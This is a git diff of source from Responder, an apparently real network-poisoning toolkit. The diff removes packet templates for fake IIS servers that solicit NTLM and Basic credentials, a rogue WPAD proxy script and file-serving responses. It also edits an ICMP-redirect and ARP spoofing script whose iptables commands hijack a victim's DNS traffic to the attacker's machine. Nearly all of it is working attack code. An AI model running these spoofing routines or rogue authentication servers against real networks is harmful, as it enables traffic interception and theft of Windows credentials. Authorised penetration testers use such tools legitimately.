|
||||
("error-code", "\x00\x00\x00\x00" ),
|
||||
("flag1", "\x00"),
|
||||
("flag2", "\x00\x00"),
|
||||
("pidhigh", "\x00\x00"),
|
||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("reserved", "\x00\x00"),
|
||||
("tid", "\x00\x00"),
|
||||
("pid", "\x00\x00"),
|
||||
("uid", "\x00\x00"),
|
||||
("mid", "\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x00"),
|
||||
("bcc", "\x62\x00"),
|
||||
("data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
lenght = struct.unpack('<H',data[43:45])[0]
|
||||
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
|
||||
OsVersion = tuple(var)[0]
|
||||
return OsVersion
|
||||
|
||||
|
||||
def RunSmbFinger(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
t.calculate()
|
||||
final = t
|
||||
packet0 = str(head)+str(final)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x73\x16":
|
||||
return OsNameClientVersion(data)
|
2
HTTPCookies/.gitignore
vendored
2
HTTPCookies/.gitignore
vendored
|
@ -1,2 +0,0 @@
|
|||
*
|
||||
!.gitignore
|
163
HTTPPackets.py
163
HTTPPackets.py
|
@ -1,163 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
from base64 import b64decode,b64encode
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
||||
#HTTP Packet used for further NTLM auth.
|
||||
class IIS_Auth_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP Packet Granted auth.
|
||||
class IIS_Auth_Granted(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
#HTTP NTLM Auth
|
||||
class NTLM_Challenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
|
||||
##Then calculate
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
|
||||
#HTTP NTLM packet.
|
||||
class IIS_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "WWW-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
#HTTP Basic answer packet.
|
||||
class IIS_Basic_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
158
HTTPProxy.py
158
HTTPProxy.py
|
@ -1,158 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
from base64 import b64decode,b64encode
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
|
||||
class WPADScript(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServerExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServeAlwaysExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentDisp", "Content-Disposition: attachment; filename="),
|
||||
("ContentDiFile", ""),
|
||||
("FileCRLF", ";\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServeAlwaysNormalFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: text/html\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
#HTTP Packet used for further NTLM auth.
|
||||
class IIS_Auth_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
|
||||
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
|
||||
("Connection", "Connection: close \r\n"),
|
||||
("PConnection", "proxy-Connection: close \r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP NTLM packet.
|
||||
class IIS_407_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
|
||||
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "Proxy-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
#HTTP Basic answer packet.
|
||||
class IIS_Basic_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
|
@ -1,55 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
#IMAP4 Greating class
|
||||
class IMAPGreating(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* OK IMAP4 service is ready."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#IMAP4 Capability class
|
||||
class IMAPCapability(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#IMAP4 Capability class
|
||||
class IMAPCapabilityEnd(Packet):
|
||||
fields = OrderedDict([
|
||||
("Tag", ""),
|
||||
("Message", " OK CAPABILITY completed."),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
|
@ -26,7 +26,7 @@ from pipes import quote
|
|||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
|
||||
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
|
||||
|
||||
|
@ -42,7 +42,7 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
|
|||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.OURIP is None:
|
||||
if options.Responder_IP is None:
|
||||
print "-i mandatory option is missing.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
@ -68,10 +68,10 @@ if options.ToThisHost is None:
|
|||
exit(-1)
|
||||
|
||||
if options.AlternateGwAddr is None:
|
||||
AlternateGwAddr = options.OURIP
|
||||
AlternateGwAddr = options.Responder_IP
|
||||
|
||||
#Setting some vars.
|
||||
OURIP = options.OURIP
|
||||
Responder_IP = options.Responder_IP
|
||||
OriginalGwAddr = options.OriginalGwAddr
|
||||
AlternateGwAddr = options.AlternateGwAddr
|
||||
VictimIP = options.VictimIP
|
||||
|
@ -84,7 +84,7 @@ def Show_Help(ExtraHelpData):
|
|||
help+= ExtraHelpData
|
||||
print help
|
||||
|
||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
|
||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,Responder_IP)
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
|
@ -135,7 +135,7 @@ class ARPWhoHas(Packet):
|
|||
|
||||
def calculate(self):
|
||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
||||
self.fields["SenderIP"] = inet_aton(OURIP)
|
||||
self.fields["SenderIP"] = inet_aton(Responder_IP)
|
||||
|
||||
#####################################################################
|
||||
#ICMP Redirect Packets
|
||||
|
@ -188,7 +188,7 @@ class ICMPRedir(Packet):
|
|||
|
||||
def calculate(self):
|
||||
#Set the values
|
||||
self.fields["GwAddr"] = inet_aton(OURIP)
|
||||
self.fields["GwAddr"] = inet_aton(Responder_IP)
|
||||
# Then CheckSum this packet
|
||||
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
|
||||
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
|
||||
|
@ -244,7 +244,7 @@ def IcmpRedirectSock(DestinationIP):
|
|||
def FindWhatToDo(ToThisHost2):
|
||||
if ToThisHost2 != None:
|
||||
Show_Help('Hit CRTL-C to kill this script')
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
|
||||
RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP)
|
||||
if ToThisHost2 == None:
|
||||
Show_Help(MoreHelp)
|
||||
IcmpRedirectSock(DestinationIP=ToThisHost)
|
||||
|
@ -253,9 +253,9 @@ def FindWhatToDo(ToThisHost2):
|
|||
def RunThisInLoop(host, host2, ip):
|
||||
dns1 = pipes.quote(host)
|
||||
dns2 = pipes.quote(host2)
|
||||
ouripadd = pipes.quote(ip)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
|
||||
Responder_IPadd = pipes.quote(ip)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
|
||||
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True)
|
||||
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
|
||||
while True:
|
||||
IcmpRedirectSock(DestinationIP=dns1)
|
||||
|
|
238
LDAPPackets.py
238
LDAPPackets.py
|
@ -1,238 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
